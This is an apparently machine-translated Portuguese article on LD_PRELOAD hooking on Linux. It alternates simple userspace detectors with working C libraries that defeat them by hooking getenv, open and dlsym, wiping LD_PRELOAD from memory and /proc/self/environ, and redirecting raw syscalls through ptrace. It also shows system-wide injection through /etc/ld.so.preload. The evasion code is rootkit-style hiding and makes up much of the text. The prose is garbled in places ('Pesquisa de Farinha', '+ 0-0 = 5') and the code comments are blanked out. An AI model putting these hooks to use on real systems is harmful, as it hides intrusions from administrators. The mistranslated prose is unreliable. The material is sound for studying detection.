Procurando por LD_PRELOAD

Essa nota foi escrita em 2014, mas eu acabei de ser reprimida no centro e ela não viu a luz. Durante a proibição, eu esqueci, mas agora eu a encontrei em rascunhos. Pensei que era para excluir, mas talvez alguém seja útil.



Em geral, um pequeno administrador de sexta-feira lê o tópico de pesquisa para o LD_PRELOAD "incluído".

1. Uma pequena digressão para aqueles que não estão familiarizados com a substituição de funções


O restante pode ir diretamente para a etapa 2 .

Vamos começar com o exemplo clássico:

#include <stdio.h> #include <stdlib.h> #include <time.h> int main() { srand (time(NULL)); for(int i=0; i<5; i++){ printf ("%d\n", rand()%100); } } 

Compile sem nenhum sinalizador:

 $ gcc ./ld_rand.c -o ld_rand 

E, como esperado, obtemos 5 números aleatórios menores que 100:

 $ ./ld_rand 53 93 48 57 20 

Mas suponha que não tenhamos o código fonte do programa e precisamos alterar o comportamento.

Vamos criar nossa própria biblioteca com nosso próprio protótipo de função, por exemplo:

 int rand(){ return 42; } 

 $ gcc -shared -fPIC ./o_rand.c -o ld_rand.so 

E agora nossa escolha aleatória é bastante previsível:

 # LD_PRELOAD=$PWD/ld_rand.so ./ld_rand 42 42 42 42 42 

Esse truque parece ainda mais impressionante se exportarmos nossa biblioteca pela primeira vez

 $ export LD_PRELOAD=$PWD/ld_rand.so 

ou pré-executar

 # echo "$PWD/ld_rand.so" > /etc/ld.so.preload 

e, em seguida, execute o programa no modo normal. Não alteramos uma única linha no código do programa, mas seu comportamento agora depende de uma pequena função em nossa biblioteca. Além disso, no momento da redação, o rand falso nem existia.

O que fez o nosso programa usar rand falso? Vamos seguir os passos.
Quando o aplicativo é iniciado, são carregadas certas bibliotecas que contêm as funções necessárias para o programa. Podemos vê-los usando o ldd :

 # ldd ./ld_rand linux-vdso.so.1 (0x00007ffc8b1f3000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000) /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000) 

Essa lista pode variar dependendo da versão do sistema operacional, mas deve haver um arquivo libc.so. É esta biblioteca que fornece chamadas do sistema e funções básicas, como open , malloc , printf , etc. Nosso rand também é um deles. Certifique-se disso:

 # nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$" 000000000003aef0 T rand 

Vamos ver se o conjunto de bibliotecas mudará ao usar LD_PRELOAD

 # LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand linux-vdso.so.1 (0x00007ffea52ae000) /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000) /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000) 

Acontece que a variável definida LD_PRELOAD força nosso ld_rand.so a carregar, mesmo que o próprio programa não exija. E, como nossa função rand é carregada mais cedo que a rand da libc.so , ela governa a bola.

Ok, conseguimos substituir a função nativa, mas como garantir que sua funcionalidade seja preservada e que algumas ações sejam adicionadas. Nós modificamos nosso aleatório:

 #define _GNU_SOURCE #include <dlfcn.h> #include <stdio.h> typedef int (*orig_rand_f_type)(void); int rand() { /*    */ printf("Evil injected code\n"); orig_rand_f_type orig_rand; orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand"); return orig_rand(); } 

Aqui, como nosso "aditivo", imprimimos apenas uma linha de texto e, em seguida, criamos um ponteiro para a função de margem original. Para obter o endereço dessa função, precisamos do dlsym - esta é uma função da biblioteca libdl que encontrará nosso rand na pilha de bibliotecas dinâmicas. Depois disso, chamaremos essa função e retornaremos seu valor. Assim, precisaremos adicionar "-ldl" ao criar:

 $ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so 

 $ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand Evil injected code 66 Evil injected code 28 Evil injected code 93 Evil injected code 93 Evil injected code 95 

E nosso programa usa o rand "nativo", depois de executar algumas ações indecentes.

2. Pesquisa de Farinha


Conhecendo a ameaça em potencial, queremos descobrir que a pré-carga foi executada. É claro que a melhor maneira de detectar é inseri-lo no kernel, mas eu estava interessado exatamente nas definições no espaço do usuário.

Em seguida, as soluções para detecção e refutação serão divididas em pares.

2.1 Vamos começar com um simples


Como mencionado anteriormente, você pode especificar a biblioteca a ser carregada usando a variável LD_PRELOAD ou gravando-a no arquivo /etc/ld.so.preload . Vamos criar dois detectores mais simples.

O primeiro é verificar a variável de ambiente definida:

 #include <stdio.h> #include <stdlib.h> #include <fcntl.h> int main() { char* pGetenv = getenv("LD_PRELOAD"); pGetenv != NULL ? printf("LD_PRELOAD (getenv) [+]\n"): printf("LD_PRELOAD (getenv) [-]\n"); } 

O segundo é verificar a abertura do arquivo:

 #include <stdio.h> #include <fcntl.h> int main() { open("/etc/ld.so.preload", O_RDONLY) != -1 ? printf("LD_PRELOAD (open) [+]\n"): printf("LD_PRELOAD (open) [-]\n"); } 

Carregar bibliotecas:

 $ export LD_PRELOAD=$PWD/ld_rand.so $ echo "$PWD/ld_rand.so" > /etc/ld.so.preload $ ./detect_base_getenv LD_PRELOAD (getenv) [+] $ ./detect_base_open LD_PRELOAD (open) [+] 

A seguir, [+] indica uma detecção bem-sucedida.
Consequentemente, [-] significa detecção de desvio.

Qual a eficácia desse detector? Primeiro, vamos dar uma olhada na variável de ambiente:

 #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <dlfcn.h> char* (*orig_getenv)(const char *) = NULL; char* getenv(const char *name) { if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv"); if(strcmp(name, "LD_PRELOAD") == 0) return NULL; return orig_getenv(name); } 

 $ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so $ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv LD_PRELOAD (getenv) [-] 

Da mesma forma, nos livramos da verificação aberta :

 #define _GNU_SOURCE #include <string.h> #include <stdlib.h> #include <dlfcn.h> #include <errno.h> int (*orig_open)(const char*, int oflag) = NULL; int open(const char *path, int oflag, ...) { char real_path[256]; if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open"); realpath(path, real_path); if(strcmp(real_path, "/etc/ld.so.preload") == 0){ errno = ENOENT; return -1; } return orig_open(path, oflag); } 

 $ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so $ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open LD_PRELOAD (open) [-] 

Sim, outros métodos para acessar o arquivo podem ser usados ​​aqui, como open64 , stat , etc., mas, de fato, são necessárias as mesmas 5 a 10 linhas de código para enganá-las.

2.2 Seguindo em frente


Acima, usamos getenv () para obter o valor de LD_PRELOAD , mas também há uma maneira mais "de baixo nível" de obter as variáveis ENV . Não usaremos funções intermediárias, mas nos referiremos à matriz de ambiente ** , na qual uma cópia do ambiente é armazenada:

 #include <stdio.h> #include <string.h> extern char **environ; int main(int argc, char **argv) { int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { printf("LD_PRELOAD (**environ) [+]\n"); return 0; } } printf("LD_PRELOAD (**environ) [-]\n"); return 0; } 

Como aqui lemos os dados diretamente da memória, essa chamada não pode ser interceptada e nosso undetect_getenv não interfere mais na determinação da invasão.

 $ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ LD_PRELOAD (**environ) [+] 

Parece que o problema foi resolvido? Ainda apenas começando.

Após o lançamento do programa, o valor da variável LD_PRELOAD na memória não é mais necessário para os crackers, ou seja, você pode lê-lo e excluí-lo antes que qualquer instrução seja executada. É claro que editar uma matriz na memória é pelo menos um estilo de programação ruim, mas isso pode realmente impedir alguém que realmente não nos deseja bem?

Para fazer isso, precisamos criar nossa própria função falsa init () , na qual interceptamos o LD_PRELOAD instalado e passamos para o nosso vinculador:

 #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> extern char **environ; char *evil_env; int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL; //    init //       //   -  void evil_init() { //     LD_PRELOAD static const char *ldpreload = "LD_PRELOAD"; int len = strlen(getenv(ldpreload)); evil_env = (char*) malloc(len+1); strcpy(evil_env, getenv(ldpreload)); int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { //    LD_PRELOAD unsetenv(env); break; } } } int execve(const char *path, char *const argv[], char *const envp[]) { int i = 0, j = 0, k = -1, ret = 0; char** new_env; if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve"); //       LD_PRELOAD for(i = 0; envp[i]; i++){ if(strstr(envp[i], "LD_PRELOAD")) k = i; } //  LD_PRELOAD     ,    if(k == -1){ k = i; i++; } //    new_env = (char**) malloc((i+1)*sizeof(char*)); //   ,   LD_PRELOAD for(j = 0; j < i; j++) { //    LD_PRELOAD if(j == k) { new_env[j] = (char*) malloc(256); strcpy(new_env[j], "LD_PRELOAD="); strcat(new_env[j], evil_env); } else new_env[j] = (char*) envp[j]; } new_env[i] = NULL; ret = orig_execve(path, argv, new_env); free(new_env[k]); free(new_env); return ret; } 

Nós realizamos, verifique:

 $ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so $ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ LD_PRELOAD (**environ) [-] 

2.3 / proc / self /


No entanto, a memória não é o último local em que você pode detectar a falsificação de LD_PRELOAD , também existe / proc / . Vamos começar com o óbvio / proc / {PID} / environ .

Na verdade, existe uma solução universal para undetect ** environment e / proc / self / environ . O problema é o comportamento "errado" de unsetenv (env) .

opção correta
 void evil_init() { //     LD_PRELOAD static const char *ldpreload = "LD_PRELOAD"; int len = strlen(getenv(ldpreload)); evil_env = (char*) malloc(len+1); strcpy(evil_env, getenv(ldpreload)); int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { //    LD_PRELOAD //unsetenv(env); //  unset     for(int j = 0; environ[i][j] != '\0'; j++) environ[i][j] = '\0'; break; } } } 


 $ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so $ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD $ 


Mas suponha que não o encontremos e / proc / self / environment contenha dados "problemáticos".

Primeiro, tente com o nosso "disfarce" anterior:

 $ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD LD_PRELOAD=./ld_undetect_environ.so 

cat usa o mesmo open () para abrir o arquivo, portanto a solução é semelhante ao que já foi feito na seção 2.1, mas agora criamos um arquivo temporário onde copiamos os verdadeiros valores de memória sem linhas contendo LD_PRELOAD .

 #define _GNU_SOURCE #include <dlfcn.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <limits.h> #include <errno.h> #define BUFFER_SIZE 256 int (*orig_open)(const char*, int oflag) = NULL; char *soname = "fakememory_preload.so"; char *sstrstr(char *str, const char *sub) { int i, found; char *ptr; found = 0; for(ptr = str; *ptr != '\0'; ptr++) { found = 1; for(i = 0; found == 1 && sub[i] != '\0'; i++){ if(sub[i] != ptr[i]) found = 0; } if(found == 1) break; } if(found == 0) return NULL; return ptr + i; } void fakeMaps(char *original_path, char *fake_path, char *pattern) { int fd; char buffer[BUFFER_SIZE]; int bytes = -1; int wbytes = -1; int k = 0; pid_t pid = getpid(); int fh; if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) { printf("LD: Cannot open write-file [%s] (%d) (%s)\n", fake_path, errno, strerror(errno)); exit (42); } if((fd=orig_open(original_path, O_RDONLY))==-1) { printf("LD: Cannot open read-file.\n"); exit(42); } do { char t = 0; bytes = read(fd, &t, 1); buffer[k++] = t; //printf("%c", t); if(t == '\0') { //printf("\n"); if(!sstrstr(buffer, "LD_PRELOAD")) { if((wbytes = write(fh,buffer,k))==-1) { //printf("write error\n"); } else { //printf("writed %d\n", wbytes); } } k = 0; } } while(bytes != 0); close(fd); close(fh); } int open(const char *path, int oflag, ...) { char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX]; pid_t pid = getpid(); if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open"); realpath(path, real_path); snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid); if(strcmp(real_path, proc_path) == 0) { snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid); realpath(proc_path_0, proc_path); fakeMaps(real_path, proc_path, soname); return orig_open(proc_path, oflag); } return orig_open(path, oflag); } 

E esta etapa foi concluída:

 $ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD $ 

O próximo lugar óbvio é / proc / self / maps . Não faz sentido permanecer nele. A solução é absolutamente idêntica à anterior: copie os dados do arquivo menos as linhas entre libc.so e ld.so.

2.4 Opção do Chokepoint


Gostei especialmente desta solução devido à sua simplicidade. Compare os endereços das funções carregadas diretamente da libc e o endereço "NEXT".

 #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #define LIBC "/lib/x86_64-linux-gnu/libc.so.6" int main(int argc, char *argv[]) { void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly char *syscall_open = "open"; int i; void *(*libc_func)(); void *(*next_func)(); libc_func = dlsym(libc, syscall_open); next_func = dlsym(RTLD_NEXT, syscall_open); if (libc_func != next_func) { printf("LD_PRELOAD (syscall - %s) [+]\n", syscall_open); printf("Libc address: %p\n", libc_func); printf("Next address: %p\n", next_func); } else { printf("LD_PRELOAD (syscall - %s) [-]\n", syscall_open); } return 0; } 

Carregamos a biblioteca com a interceptação "open ()" e verificamos:

 $ export LD_PRELOAD=$PWD/ld_undetect_open.so $ ./detect_chokepoint LD_PRELOAD (syscall - open) [+] Libc address: 0x7fa86893b160 Next address: 0x7fa868a26135 

A refutação acabou sendo ainda mais simples:

 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dlfcn.h> extern void * _dl_sym (void *, const char *, void *); void * dlsym (void * handle, const char * symbol) { return _dl_sym (handle, symbol, dlsym); } 

 # LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint LD_PRELOAD (syscall - open) [-] 

2.5 Syscalls


Parece que é tudo, mas ainda atrapalha. Se direcionarmos uma chamada do sistema diretamente para o kernel, isso contornará todo o processo de interceptação. A solução abaixo é, obviamente, dependente da arquitetura ( x86_64 ). Vamos tentar implementar ld.so.preload para detectar a abertura.

 #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define BUFFER_SIZE 256 int syscall_open(char *path, long oflag) { int fd = -1; __asm__ ( "mov $2, %%rax;" // Open syscall number "mov %1, %%rdi;" // Address of our string "mov %2, %%rsi;" // Open mode "mov $0, %%rdx;" // No create mode "syscall;" // Straight to ring0 "mov %%eax, %0;" // Returned file descriptor :"=r" (fd) :"m" (path), "m" (oflag) :"rax", "rdi", "rsi", "rdx" ); return fd; } int main() { syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ? printf("LD_PRELOAD (open syscall) [+]\n"): printf("LD_PRELOAD (open syscall) [-]\n"); } 

 $ ./detect_syscall LD_PRELOAD (open syscall) [+] 

E esse problema tem uma solução. Trecho do homem :
O ptrace é uma ferramenta que permite que um processo pai observe e controle o fluxo de outro processo, visualize e altere seus dados e registros. Normalmente, essa função é usada para criar pontos de interrupção em um programa de depuração e rastrear chamadas do sistema.

O processo pai pode iniciar o rastreamento chamando primeiro a função fork (2) e, em seguida, o processo filho resultante pode executar PTRACE_TRACEME, seguido (geralmente) pela execução de exec (3). Por outro lado, o processo pai pode começar a depurar o processo existente usando PTRACE_ATTACH.

Ao rastrear, o processo filho para cada vez que um sinal é recebido, mesmo que esse sinal seja ignorado. (A exceção é SIGKILL, que funciona da maneira usual.) O processo pai será notificado sobre isso quando a espera (2) for chamada, após a qual ele poderá visualizar e modificar o conteúdo do processo filho antes de iniciar. Depois disso, o processo pai permite que a criança continue trabalhando, em alguns casos ignorando o sinal enviado a ele ou enviando outro sinal).

Portanto, a solução é rastrear o processo, parando-o antes de cada chamada do sistema e, se necessário, redirecionar o encadeamento para a função interceptar.

 #define _GNU_SOURCE #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <limits.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/reg.h> #include <sys/user.h> #include <asm/unistd.h> #if defined(__x86_64__) #define REG_SYSCALL ORIG_RAX #define REG_SP rsp #define REG_IP rip #endif long NOHOOK = 0; long evil_open(const char *path, long oflag, long cflag) { char real_path[PATH_MAX], maps_path[PATH_MAX]; long ret; pid_t pid; pid = getpid(); realpath(path, real_path); if(strcmp(real_path, "/etc/ld.so.preload") == 0) { errno = ENOENT; ret = -1; } else { NOHOOK = 1; // Entering NOHOOK section ret = open(path, oflag, cflag); } // Exiting NOHOOK section NOHOOK = 0; return ret; } void init() { pid_t program; //    program = fork(); if(program != 0) { int status; long syscall_nr; struct user_regs_struct regs; //     if(ptrace(PTRACE_ATTACH, program) != 0) { printf("Failed to attach to the program.\n"); exit(1); } waitpid(program, &status, 0); //   SYSCALLs ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD); while(1) { ptrace(PTRACE_SYSCALL, program, 0, 0); waitpid(program, &status, 0); if(WIFEXITED(status) || WIFSIGNALED(status)) break; else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) { //     syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL); if(syscall_nr == __NR_open) { //       NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK); //   if(!NOHOOK) { //     //   regs  ptrace(PTRACE_GETREGS, program, 0, &regs); // Push return address on the stack regs.REG_SP -= sizeof(long); //       ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP); //  RIP   evil_open regs.REG_IP = (unsigned long) evil_open; //     ptrace(PTRACE_SETREGS, program, 0, &regs); } } ptrace(PTRACE_SYSCALL, program, 0, 0); waitpid(program, &status, 0); } } exit(0); } else { sleep(0); } } 

Verificamos:

 $ ./detect_syscall LD_PRELOAD (open syscall) [+] $ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall LD_PRELOAD (open syscall) [-] 

+ 0-0 = 5

Muito obrigado

Charles Hubain
Chokepoint
Valdikss
Philippe teuwen
derhass

cujos artigos, códigos-fonte e comentários fizeram muito mais do que eu para fazer este artigo aparecer aqui.

Source: https://habr.com/ru/post/pt479858/


All Articles